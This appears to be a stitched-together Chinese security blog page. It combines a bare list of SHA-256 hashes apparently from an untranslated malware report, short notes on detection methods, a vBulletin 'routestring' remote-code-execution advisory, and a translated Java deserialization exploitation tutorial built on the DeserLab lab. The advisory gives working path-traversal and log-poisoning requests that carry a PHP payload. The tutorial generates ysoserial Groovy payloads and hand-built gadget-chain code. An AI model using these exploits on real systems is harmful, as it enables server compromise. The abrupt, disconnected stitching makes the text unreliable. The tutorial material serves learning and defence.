07b4ed5b3a19e34d0c630f21b767595ec118d1b42c71ea9733db5f063d5c98dd

5e6aebf5d8aecbd82be5b097e5afb5d5b1dd71134b6866a76e87f0a713119f9e

567975dfd24f8348b7107d64068dade9dc9ee948a7ef6c2f744e3456f9c7737a

0bb3c079d88048f608a1a14f068dcd9ad63676d7f5ae502a8a08d1dd025b4ead

437ac582c3a6d2e4295934a63547c32e5531760c37ffbc3ee29e8707b90f3640

e3bc8b1c10595bcce2124ed9fa0268ee0d15a7299d4a191e960a17a811a7ac9d

2eea3e9af7528b6167fac3ca95d06fa6e4d02fbe6b7fdb06e535453ce402f897

7b3f0bfdb7c3a409793735aab5d580ae74eaecc41d0ee727b973ed3003f0236e

1dea7c7ea0df9cfc04c6426afa6078071f6525cd0fccd811b035fce6dccb0154

a45d9885e55df09f3ee6bf88d6fddd7f19ebbd27a4c37965ae4bdf0c8acd0db0

e5710cbfee54d44584f87213083c0f27cbf6aea9af8469dae499ef91f65369e3

7aa72bb663ef93e7a3f16282d9d92035ea16438667eddfaad1c827118234ebd8

9099b4035d74f956ab663890fa90289808fea035f94b154ca6aa83bbc1cba086

9103f81cff1eee4f8be2365ef297c805f9eb1da291dccba2c7c5d196dc733c1d

76ab3968e9f2efcac9ebda4d25d43f9b164e3c3ceb9566f32354348a6a778421

97885d7f96c49be81d449610c9b7e38358a9c1d87bdb67962cc2864e006f2317

72f46ba7a00d2cc821cc9d2dcc16c51cde627441beebd1eb2baeadeb01c96801

996200d9b836a7875482e4ab603588558e66e59372c492c0a1d65be602d59c32

d197faa8571bc0152347a9c30cd4c41660260088ee6cab1895ead0268386fec9

54df2208b4db06cf6a523e355a57c68b4b147578af51c07db40245ae450b1fce

4ca46d1ca6de1d7a8774b7208e4df73d318c3dfbd4b840d1fbcbc603006eaede

9a2204fc87495b2d0328ed9a84bf9d439048961e9bde8b31a83be492046673d1

d5cb52bceca5f416a638259e66fcab597e1030c7987f9fc3b15d94a8aecb4013

8853b9a4e271a77124ba50eb003827a14c8907597eea79c6f467e4c858e16621

4b562edbbb1413ca90c3419b79417c8a91f530cd49bc38beb8e46c194dc1fd52

ceae7114ea292f10b348c0d3999ae9a058b2afdb8da981568b0bd36cf02067ff

e75df0f0e1cb541bc3ec429b6f30dde96af4cb2a4bb30104229dbc65991ba559

66fdcb4db024195ab457ef3411deff8cd12e7a3550e3e17a052480e93ed29aca

a809027b2ef10d2c8142da021e04c3786163bef6358be33659264720ae1b0ffa

970a54440ad3359a1c2dc923f73a8ae76d96ad414883c1476ba1ff21b45eced8

6f22578e341560c200ed42e171f027998bdd8c0f8677a48e049c11b4c2f318d5

0a71033379e732e9d549a69af21140dc1c37020b9348d31ce08ad3f44b132952

d7c9d68a91c1c4c227f057d1e193688dd05f5ac122269f69acdf8e47e45ce194

d5a61eb9e44e0ffde85d9abcfc868e922285a7b57bc7a6033a7c00e561ebed7a

8288e43ded03dab13c4d2a76407057457f86a3df63ef06bbd47db7199d1dbea7

f2bc9d426383f07d3811bc631650f3a1bb53d2e7ccb2797d172a63e6e58c9b42

3d4a43dfdea230383b5fa600036a9688d96a8b41925dc8d91c1d2b2b6e381c73

fce319e35144b7acad954e031d653717dbe7b4c23bedade7e3f129e994a915ad

45dbd08bf2d2b1d47301d73ef9c0d6af241a1f0e9bd28a72e540edafe51877a2

39f46b22f75fab5e64a0210d6c9f903438d46bf0b2c95b10070533bc9f45ed69

cdb8231dff80be7c1245aa7dfd8cca6d0daa4da7b3a4dc0090dcc5aab04dd84b

bc97485d5f54ad1f857e11e080fb9b37641c4305d119d01ae661ef71ae2debf6

7de19a5a9ba37c09a6e31ea6bfbe8ec6f93e0f9262e195283963d8936a017069

a8130f3175d8b44b3a4c746943aa777da5fa9c7ebdcda3d3265966e7c16c572d

e777b56b1df9d2700498bcabce9377eb9a9bfd02855e937ef276d85f6db89337

719aeb6ac772f8865be5b61039cee4807b70f3c71a50ddb63d49e162c6b75ba3

2145205c19ca8c19463b2d7609e18860e420b4ce3d07d5056fd23a5a19226d0e

739ac745213d964efda914b78badf2eafc6e0cc1c5ff1bff0b5df4ed012805fd

7b7ea86146e33e1b7fc208a97df05a8c94dbc9eda750933400b41d85fb49dac4

3591d1b731bb29ba48822514a3f4e809f2416f8ad9033d0876bc0f2c3250bdd0

cc38e022de7264db020d6efe2f1830e178ccff7eff2b04acd32b46d23a96b943

6644b75c29c4f8905820fec631dc9dadc11fa013e52dfa1b37200691c1112de0

4bc8a426f3798f305d6830c30693468bbd8e01ae54402a72b25848cc663ad798

f9d81b4164307045fadfbdf5fae722043f62ca37704756c5b18b7662a5ae6fbb

188005a44a27eb3c37e52df5db570b781896f91be5c4de16a801dc51753a0d1e

2b8375072fbd65f76eaf8d02370145eeb2141f94a1e0d9ae71545ba571f0c805

82ca64cfc7e9daf4d0a82c21624930b869c6676313ae194e77d922565486acdd

5054985cf6d26c01d85c0d2ead6503ad02079d116c42cb1c24c0aa1d96323d54

1af63b20514ea992ddd6a50dca19cd0e70eda653e2832583185002c47f0ef20a

c89e2e05f46da001a5778e306d79f8ae62b1291c422fb0b795684df722626387

c089422dabac4c9b0613355fa0ccc1ea8619c757eb6e68041135662e4b3916c5

420c10ca1dc8bd246b88b5feef6a151dc1f063fa04cafc6e9cc9721f0b32428f

32552469d69c6d7a62cc9dc5552d3817ac760d2c17a183cf66b1503a02c9d234

d89f3317721e4a445e52156e82eac9bb9a6d91323f8ebbad1bc2312f5af48eff

a5aae3bbfcc6d9ab63ada620802c8b9ff55b2a0209fd74d302ff5ff6192fe766

2802837f671f6849e1b23d72e6107066c895a09168f555d45becab12e4143e1b

ece29d78f39c2c0b0d058516fd6cdd24776c559c07424b387e62ca1c1a6f885e

70512f06506124df1fbc29990e60a345302c36512ae870c447390afa2bd84449

2a90010931e0b00709027a148c10743346d7fbeaf70a68ce7b23e4b9cd261bc9

d1f2edb6be9527238390bda76da63cfab949c44d7c929fb2e36f1c92aa192669

6789c77e40944d6a58cf30a7c83f9e84a8bda3fa76d50669dfef7bce3f1992d9

ee876a1c1ad35f40881a9039dd9c69f80a530993d08ed3dfdb4c2db17ae8d8ba

85f4bc20d534b4df024b6d8a26643c278236d842b6418d45f4268e1278d30135

b23681cfd3db73a239a8ab37d0bc790324c1a06189ede9c7a9515c783b2bc278

3831cbe5b966a8a14677e6ef05ad137157e9c87d330ad57e09201946b4b48d16

af7d6d3eba7c25d6579475efaebd9517471560bd62ee5feee3145744d2b35ba4

443af7373d3cf0da600260273b6bf1db49a87a4ad5dd0e90db7acb2abc2e3534

84ec77121ec96212811c0e4f203ec90996959107883442e96291eddaf7656c24

29688e1282de66811977097d9a3bfd123c3aab6dd7f434f59505abfddf1c9c1a

c6caa296441b4ab2b7a9ce792b529ea5007e7df7a566d93d198472c65a756241

6b605f275565a93fee360806c433f7be9c099106782f07d245c2cf60bc6835f5

81c7735bf199732fe2bc8fd47cd8f97ddab1ce889d59a62f8b5a944fba76e173

45cd50b40f2b1739fea5cd3d0fbc0e561e9acf611ba60c960029e362e8761e17

9ff0d43a24333e655658ca5bb100adf04c757128292c91710c26fb602b859f82

f2237bc1b547e7af9899e5f87ce0283e8c40c4b3609167185d8cbcb57bbf68cc

f577d33d917f3a89d34641d5bb9de8e8d856e271b68464870034379acfbb01e0

0914f9fbdac67cd59ac172649b6261af2d02aa71b29da9de960aadb7a218ad59

32c06dfdb627ba638dd93e3c9174becd94dfde66d09901f2d6b298a03d8724eb

bcf2e01eed27f2011d953e6552757f26d463134e887790610b0bdae90421b49f

8a30f64ebb55404f9d05dacf7f27b182f9cdfeaa2ca8f203982c1f6794bc74f2

1761784ac0d711143c231567444be4be8921bdc80e94d8b6c44199a7bba316c4

a815c3e075c768934af1a599b458f5d44a9a30366fd44a2e936cdcfb9238529e

d229b953c0fca4e43ffbf1a2cb3fc24df913e54569ae90c2942d411d4e83fad2

5e492ec6f48c205cb30bc77ca5f597e192e5813dd89eb6692a60e8b3cb86c636

df8f747f906bf05cb877b294218a83a8300d72c68445d9c142b583f9310b8e4d

08b6f6c6d4a0070621e359929b5900b37073c0cab0069d69093240c415f6aa83

56b82cd47598f5a40d6c6f81f66606cf9b2f36e53d5291ecde9a83815ba556e0

18a16f79d44a948a3ef69b742d0c3398e2dac29bf33cdf3a5c94b0f06e75dbc3

5bdf05fb6c6a200de5ab19e5ec14cd9dc3f30d1a3b6affea5e38e3caa6e4a964

4d39a720b89ce1551cad19ee751a3a37159204bf2bdb31def53b69abe3a83298

58e4e756fc27f97cefacc16441cbd5d68ed17cc62bc4c59d205c02e538e5d77e

50834e6c0632d393a862e7a21734f6be2cb94a96d6f332aaa00d084bdad5d7ed

2f613d3d1c962106c1c7191c6f084702bb33f21100ac427f331ffe0d6a8ee9d1

7a428f6a12125b88c6878934c683da9d9bb1aaf16d1ddc682ddce17589fc0f2d

ed7b0d037c07aa0654aa74eb1ddd26e9933367270427e426beadcdf8825f77df

5380dd337c93e09bd663ec9ae408d271fdf455a1bd8c830020c1d295b9f80a6a

b7fa85f2eaca94e99f5ea8d9baf24bace903fc04321f26629298b4a2f59c21d7

4421d7c5228b55555703bc3c125ade2f613573a81947e4df999d2743dbf919fb

db694674c7bfaf016906138ef02008904d08b3033ba2a56ade72850d6d7cd2a1

6b8cdc31532f368af6041eb9990bd96c8b9114e06a009e4aa5a30e783a7cebd4

da546aa2d52d540cf5fb1a2568649f7235f4d922c2c50d29c503cf8b178e59a0

d75be032a2cd66e9bde4bd74ba7e74f1190b007736017b4cabbeba5eb93d6276

2b6bd11dde33afd408746bb993c2840bd750769ad4caef5e541c6d2d2ac1cf8f

翻译自:https://researchcenter.paloaltonetworks.com/2018/01/unit42-large-scale-monero-cryptocurrency-mining-operation-using-xmrig/

几种常见检测思路的特点

特征检测

应用广泛(防病毒、网络设备、……)技术原理简明易懂,实现不太难。需要有样本持续积累(各种漏洞库、恶意代码库)作为检测的依据。样本分析、积累成本和制造样本成本不对称时,攻击方可以制造大量样本 DoS 防守方的样本分析、检测资源,造成特征检测不可用。

基于信誉

目前逐渐开始广泛应用(防病毒、网络设备、……),技术原理也比较简明易懂,实现也不太难。需要有检测的基础能力,并积累时间、IP、域名、URL、文件等其他纬度的数据(信誉库)。首先,信誉很高的对象一次恶意的行为可能无法通过信誉判断(例如,一个良好信誉的人一次性恶意透支所有信用卡限额),其次信誉库需要积累,而且存在覆盖度不够的情况,再次,攻击方同样可以
DoS 检测能力。

基于行为

对正常的行为模式进行建模,不符合模型的被判断为可疑,进一步判断后用于完善正常行为模型。应用范围有限,技术复杂度高,实现比较困难。找到普适的建模方法比较困难。工程上可能一开始就不具备建模的纯正常行为的环境,如何得到正常行为的模型也比较困难。模型判断为可疑,如何进一步判断实际上往往还需要前面几种检测方法参与,最终也很难实现自动化。

vBulletin routestring Unauthenticated Remote Code Execution Vulnerability

0x01 漏洞描述

vBulletin 是一款使用广泛的基于 PHP 和 MySQL 数据库服务器的专有互联网论坛软件包。意大利安全公司TRUEL IT的安全研究员和一名神秘的独立安全研究人员发现并披露了热门互联网论坛软件 vBulletin 中的两个未修复的紧急 0day 漏洞。其中一个漏洞可导致远程攻击者在最新版 vBulletin 应用服务器中执行恶意代码。

####0x02 受影响产品

在Windows Server上运行的vBulletin 5全版本

0x03 危害风险

远程攻击者可利用vBulletin的漏洞在应用服务器中执行恶意代码

0x04漏洞原理

补丁分析

Index.php页面中通过vB5_Frontend_Application::init初始化前端配置。

跟入init函数。

init函数创建router类,用于页面路由,调用setRoutes。在setRoutes内部获取routestring参数。

如果routestring不以‘.gif’, ‘.png’, ‘.jpg’, ‘.css’ , ‘.js’结尾且不含‘/’号,则会调用relay controller中的legacy action。

Legacy action调用时,routestring作为参数。

而我们可以看到relay最终会包含此路径的文件。所以存在文件包含漏洞。在Windows上“\”可以作为路径分割符,类似于“/”,所以routestring不含“/”可以轻松绕过。

0x05漏洞触发条件

Windows Server上发送“/index.php?routestring=.\..\filepath”请求。包含任意文件。

0x06漏洞利用

直接利用包含php文件执行php代码,也可以利用log文件执行php代码。

先发送“/?LogINJ_START=<?phpphpinfo();?>LogINJ_END”请求,使它存留在access.log文件中。

再利用此漏洞包含access.log文件,执行php代码。“/index.php?routestring=\..\..\..\..\..\..\..\..\..\..\xampp\apache\logs\access.log”!

参考链接:https://blogs.securiteam.com/index.php/archives/3569

Java反序列化漏洞利用的学习与实践

翻译
当你在尝试学习东西的时候,一个很好的的定期提示是,阅读与实际练习中你阅读的主题不一样的主题。这就是我们为什么去实践读过的项目是有益的。我们将要深入到现在已经存在的众所周知的java反序列化bugs中。最好的实践是你可以去真正的了解手头的项目,并可以根据自己的需要尝试改进。这篇博客我们将要涉及以下内容:

  1. 利用反序列化漏洞
  2. 手动构造我们的payload
    要清楚的是,第一步将是使用当前的工具实践序列化漏洞的利用,并解释所采用的方法。第二步放大payload;payload究竟是什么?我们如何手工创建?最终的目的是充分了解它是如何工作的,以及掌握将来理解类似bug的方法。
    我会提到整个博客中使用的所有工具,但是至少你需要了解如下内容:
    1
    https://github.com/NickstaDB/DeserLab

这就是我们将要利用的bug,选择一个模拟bug的原因是我们可以控制它的所有面,从而更好的理解一个反序列化漏洞的工作原理。

###利用Deserlab
首先,确保你阅读了介绍DeserLab和Java反序列化的blog
这篇blog对Java反序列化协议本身的深入分析。通过继续阅读本节,你将掌握DeserLab的用法。本节其余的部分,我们将使用编译的jar文件,请确认从github下载了这些文件。现在开始吧:
通常我处理大多数问题的方法是先了解如何以正确的方式运行,我们需要对DeserLab做如下操作:
运行服务器和客户端
捕获流量
分析流量
使用如下命令运行客户端和服务器:

1
2
java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666

命令的input/output如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
java -jar DeserLab.jar -server 127.0.0.1 6666
[+] DeserServer started, listening on 127.0.0.1:6666
[+] Connection accepted from 127.0.0.1:50410
[+] Sending hello...
[+] Hello sent, waiting for hello from client...
[+] Hello received from client...
[+] Sending protocol version...
[+] Version sent, waiting for version from client...
[+] Client version is compatible, reading client name...
[+] Client name received: testing
[+] Hash request received, hashing: test
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
[+] Done, terminating connection.
java -jar DeserLab.jar -client 127.0.0.1 6666
[+] DeserClient started, connecting to 127.0.0.1:6666
[+] Connected, reading server hello packet...
[+] Hello received, sending hello to server...
[+] Hello sent, reading server protocol version...
[+] Sending supported protocol version to the server...
[+] Enter a client name to send to the server:
testing
[+] Enter a string to hash:
test
[+] Generating hash of "test"...
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6

以上不是我们真正关心的问题,真正的问题是,怎么实现反序列化部分。要解答这个问题,你可以用wireshark, tcpdump ,tshark捕获6666端口的流量.要使用tcpdump捕获流量,可以执行如下命令:

1
tcpdump -i lo -n -w deserlab.pcap 'port 6666'

阅读下面的内容前,用wireshark打开pcap文件。根据Nick的blog,你至少可以识别来回传递的序列化Java对象:

#####序列化数据的提取:
现在我们指出了序列化数据正在传输的事实,让我们开始了解实际传输的内容。我决定使用这两款实用的工具 SerializationDumperjdeserialize,而不是根据blog中提供的信息编写自己的解析器。在我们使用工具之前,我们需要准备数据,所以把pcap包转换成我们可以分析的数据。

1
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g

现在一行缩短了很多,现在它可以工作了。我们把他分解成可理解的块,它所做的就是把pcap数据转换成一行十六进制编码的输出字符串。它做的第一件事是将pcap转换成只包含传输数据和Tcp源端口,目的端口的文本形式:

1
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,

看起来像这样:

1
2
3
4
5
6
50432,,6666
6666,,50432
50432,,6666
50432,aced0005,6666
6666,,50432
6666,aced0005,50432

在像上面的代码片段中可以看到,在TCP三次握手之间没有数据,因此有,,这部分。之后客户端发送服务端确认的第一个字节,然后服务端返回一些字节等等。命令的第二部分将它转换为字符串,只需根据行开始处的端口选择有效payloads。

1
2
3
4
| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g
以上的命令仅会选择服务器的回复,如果希望客户端数据需要更改端口好。最终转换结果显示如下所示:
```bash
aced00057704f000baaa77020101737200146e622e64657365722e486[...]

这是我们可以使用的,因为它是发送和接受的数据的干净的表示。让我们使用这两个工具分析一下数据,首先我们使用SerializationDumper,然后我们将使用jdeserialize。为什么是用两个工具?因为(如果可能的话)用不同的工具来分析潜在的错误或问题是很好的做法。如果你坚持使用一个工具,可能会出错,而没有察觉。尝试不同的 工具也非常有趣。

#####序列化数据分析
使用SerializationDumper是非常简单的,因为你可以传递序列化数据的十六进制形式作为第一个参数,如下所示:

1
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101

输出的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0xf000baaa
TC_BLOCKDATA - 0x77
Length - 2 - 0x02
Contents - 0x0101
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 20 - 0x00 14
Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374

如果我们要使用jdeserialize分析相同的序列化数据,首先要构建jdeserialize,可以使用提供的build.xml文件里的ant。我选择了手动编译,可以通过以下命令实现:

1
2
3
4
mkdir build
javac -d ./build/ src/*
cd build
jar cvf jdeserialize.jar *

经过以上操作我们可以产生一个可以使用的jar文件,你可以用下面的命令测试它,它会显示帮助信息:

1
java -cp jdeserialize.jar org.unsynchronized.jdeserialize

由于jdeserialize需要一个文件,我们可以用如下的Python代码转换序列化数据的十六进制表示形式(注意缩短十六进制字符串以进行博客布局):

1
open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))

我们现在可以通过运行jdeserialize来分析这个文件,文件名作为应该产生的第一个参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
read: [blockdata 0x00: 4 bytes]
read: [blockdata 0x00: 2 bytes]
read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output
//// BEGIN class declarations (excluding array classes)
class nb.deser.HashRequest implements java.io.Serializable {
java.lang.String dataToHash;
java.lang.String theHash;
}
//// END class declarations
//// BEGIN instance dump
[instance 0x7e0002: 0x7e0000/nb.deser.HashRequest
field data:
0x7e0000/nb.deser.HashRequest:
dataToHash: r0x7e0003: [String 0x7e0003: "test"]
theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"]
]
//// END instance dump

我们从序列化数据分析工具的输出中学到的第一件事是它的序列化数据:)。我们学到的第二件事就是,事实上在客户端和服务器之间显式地传送一个对象“nb.deser.HashRequest”。如果我们将此分析与我们之前的wireshark查看的数据结合在一起,我们可以知道用户名是以TC_BLOCKDATA类型的字符串形式发送的:

1
2
3
4
5
6
TC_BLOCKDATA - 0x77
Length - 9 - 0x09
Contents - 0x000774657374696e67
'000774657374696e67'.decode('hex')
'\x00\x07testing'

这让我们非常了解DeserLab客户端和DeserLab服务器如何相互通信。现在我们来看看如何使用ysoserial来利用。

Deserlab的利用

由于我们通过对pcap和序列化数据的分析,我们对这个通信有一个清晰的了解,我们可以用嵌入ysoserial paylaod的一些硬编码数据构建我们自己的python脚本。为了保持简单,并且和wireshark流匹配,我决定几乎完全像wireshark流一样实现它,看起来就像:

1
2
3
4
5
6
7
mydeser = deser(myargs.targetip, myargs.targetport)
mydeser.connect()
mydeser.javaserial()
mydeser.protohello()
mydeser.protoversion()
mydeser.clientname()
mydeser.exploit(myargs.payloadfile)

你可以在这里找到完整的脚本。就像你可以看到的简单的模式方法是硬编码所有java反序列化数据。你可能想知道为什么mydeser.exploit(myargs.payloadfile)函数出现在mydeser.clientname()之后。也许更重要的是我如何决定的它的位置。我们来看看我的思考过程,以及如何实际生成和发送ysoserial payload。
在阅读的几篇关于java反序列化的文章(blog结尾处的引用)中,我了解到:大多数漏洞与java反序列化对象有关。
所以据我所知,当我们审查信息交换的时候就有java对象交换。这很容易在序列化分析的过程中发现,因为它包含‘ TC_OBJECT – 0x73’或者

1
2
3
4
5
6
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
[blockdata 0x00: 9 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output

我们可以清楚的看到流的最后一部分是 ‘nb.deser.HashRequest’ 对象。读取这个对象的地方也是交换的最后一部分,因此解释了为什么代码最后一部分可以exploit。
DeserLab本身的代码并没有真正包含任何有用的东西,我们可以通过修改序列化漏洞利用它。
这个问题在下一节“手动创建payload”会很明显,现在我们就接受就好了。所以这意味着我们必须寻找可能包含可以帮助我们的代码的其他库。DeserLab中只有一个Groovy库,这就提示我们要用ysoserial payload;在实际使用中,可能需要自己反编译未知的库,自己开发有用的小工具。
由于知道了利用使用的库,payload的生成就非常简单:

1
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin

要知道payload如何工作,需要一些方法来检测它。现在ping 到 localhost就足够了,但是在现实世界中你需要更有创意。
现在一切准备就绪,你会认为它只是一个关闭有效载荷的问题?你是对的,但是我们不要忘了,java序列化头交换已经发生。
这意味着我们要把paylaod的前四个字节单独发出去:

1
2
3
4
5
6
7
./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin
2017-09-07 22:58:05,401 - INFO - Connecting
2017-09-07 22:58:05,401 - INFO - java serialization handshake
2017-09-07 22:58:05,403 - INFO - protocol specific handshake
2017-09-07 22:58:05,492 - INFO - protocol specific version handshake
2017-09-07 22:58:05,571 - INFO - sending name of connected client
2017-09-07 22:58:05,571 - INFO - exploiting

如果一切顺利,你将看到以下内容:

1
2
3
4
5
6
sudo tcpdump -i lo icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64
22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64
22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64

我们已经成功地利用了DeserLab。接下来两个部分,我们希望能更好地了解我们发送到DeserLab的payload。

###手动创建payload
了解我们的payload的最好的方法是自己重建完全相同的payload,是的,这意味着写java代码。但问题是我们从哪里开始?我们可以像我们在看pcap时一样看看序列化payload。下面的代码将payload转换为十六进制字符串,我们可以使用SerializationDumper或者jdeserialize分析文件。

1
open('payload.bin','rb').read().encode('hex

所以让我们来详细了解一下,在具体情况下,如何运作。当然,在找出这一切后,你发现了一个已经描述它的页面,所以你可以跳过这个部分,阅读这个。本节的其余部分将着重于我的方法。我的方法的重要支柱之一也在阅读这个漏洞的ysoserial实现的根源。我不会不断提到,但如果你想知道我是如何计算出流量的,那是由于读取ysoserial实现的。
通过这些工具放置有效载荷后,在这两种情况下,都会产生很多Java类的很长的输出。要注意的主要类名是输出“sun.reflect.annotation.AnnotationInvocationHandler”的第一个。这个类可能看起来很熟悉,因为它似乎是大量反序列化漏洞的入门点。引起我注意的其他事情是“java.lang.reflect.Proxy”,“org.codehaus.groovy.runtime.ConvertedClosure”和“org.codehaus.groovy.runtime.MethodClosure”。他们引起了我注意的原因是因为他们引用了我们用于开发的库,以及从线上文章中已知的类来解释Java反序列化漏洞并与我在ysoserial源中看到的类匹配。
有一个重要的概念,你需要注意,事实上,当你执行反序列化攻击时,你发送一个对象的“保存”状态说话。这意味着你完全依赖于接收方的行为,更具体地说,你依赖于“保存”状态反序列化时所采取的操作。这意味着如果对方不调用发送对象的任何方法,则不会执行远程代码。这意味着你唯一的影响是设置你发送的对象的属性。现在这个概念很清楚,这意味着我们发送的第一个类应该有一个自动调用的方法,如果我们要实现代码执行,这解释了为什么第一类是如此特别。如果我们看看AnnotationInvocationHandler的代码,我们可以看到构造函数接受一个java.util.map对象,并且方法readObject调用Map对象上的一个方法。像你可能从阅读其他文章可以知道,当流被反序列化时,readObject被自动调用。我们开始构建我们自己的漏洞利用,基于这些信息,并从多个其他文章(在本文末尾引用的代码中)借鉴代码,我们创建以下内容。如果你想了解代码读取反思。

1
2
3
4
5
6
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);

这通常是我有时花了几个小时调试和阅读我不知道的所有事情的部分,因为如果你尝试编译这个很好,你会学到很多.所以这里是你可以编译的代码段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//regular imports
import java.io.IOException;
//reflection imports
import java.lang.reflect.Constructor;
public class ManualPayloadGenerateBlog{
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);
}
}

你可以使用以下命令来编译和运行代码,即使它不会执行任何操作:

1
2
javac ManualPayloadGenerateBlog
java ManualPayloadGenerateBlog

当你扩展此代码时,请记住以下内容:
google打印的错误代码
类名应等于文件名
知道有java 帮助
上述代码使初始入口点类可用,构造函数可访问,但是我们需要为构造函数提供哪些参数?大多数例子有以下代码:

1
constructor.newInstance(Override.class, map);

我理解的’map’参数,就是在初始readObject调用期间调用’entrySet’方法的对象。我不明白第一个参数的内部工作原理,主要的一点是在readObject方法内部进行检查,以确保第一个参数的类型为“AnnotationType”。我们通过提供“AnnotationType”类型的buildin’Override’类来实现这一点。
现在我们来到有趣的部分,从’好的有道理’到’这是如何工作的’。要理解,重要的是要意识到第二个参数是一个Java代理对象,而不是一个简单的Java映射对象。这是什么意思?这篇文章很好的解释了Java动态代理,并提供了很好的代码示例,这是文章的引用:

1
Dynamic proxies allow one single class with one single method to service multiple method calls to arbitrary classes with an arbitrary number of methods. A dynamic proxy can be thought of as a kind of Facade, but one that can pretend to be an implementation of any interface. Under the cover, it routes all method invocations to a single handler – the invoke() method.

我理解的是,它是一个 Java map 对象,然后将所有调用原始的Map对象方法路由到另一个类的单一方法。让我们看看我们现在所了解的:

这意味着我们可以尝试用这样一个Map对象来扩展我们的源代码,例如:

1
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unknown-invocationhandler>);

注意我们仍然需要适应的 invocationhandler,但我们没有。这是Groovy最终要适应的部分,因为直到现在我们仍然在常规Java类的领域。Groovy适合的原因是因为它有一个InvocationHandler。所以当InvocationHandler被调用时,最终会导致代码执行如下:

1
2
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closure);

就像你可以在上面的代码中看到的,我们现在终于有了invocationhandler,它就是ConvertedClosure对象。你可以通过反编译Groovy库来确认这一点,当你看到ConvertedClosure类时,你会看到它扩展了ConversionHandler类,如果你反编译该类你将看到:

1
2
public abstract class ConversionHandler
implements InvocationHandler, Serializable

实现InvocationHandler的事实解释了为什么我们可以在Proxy对象中使用它。然而,我不明白的一件事是,Groovy payload
是从Map代理调用到实际代码执行的。您可以使用反编译器来查看Groovy库,但是通常我发现可以使用谷歌查询补充代码阅读来了解它。一个挑战

1
groovy execute shell command

上面的查询可能会让你在各种各样的页面上找到答案。这实质上告诉我们,显然String对象有一个额外的方法是“execute”。我经常使用上述查询来处理我不熟悉的环境,因为执行shell命令通常是开发人员需要的,通常可以在互联网上找到答案。这有助于我完整地了解这个payload的工作原理,现在可以看出如下关系:

完整的代码在这里。编译,执行:

1
2
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin

当我们使用python exploit开发它时,它应该具有与ysoserial payload完全相同的结果。令我吃惊的是,payload甚至有相同的哈希:

1
2
3
sha256sum payload_ping_localhost.bin payload_manual.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_ping_localhost.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_manual.bin

感谢您抽出时间阅读本文,更重要的是,我希望它可以帮助您利用Java反序列化漏洞以及更好地了解它们。
参考链接:
https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
http://gursevkalra.blogspot.nl/2016/01/ysoserial-commonscollections1-exploit.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
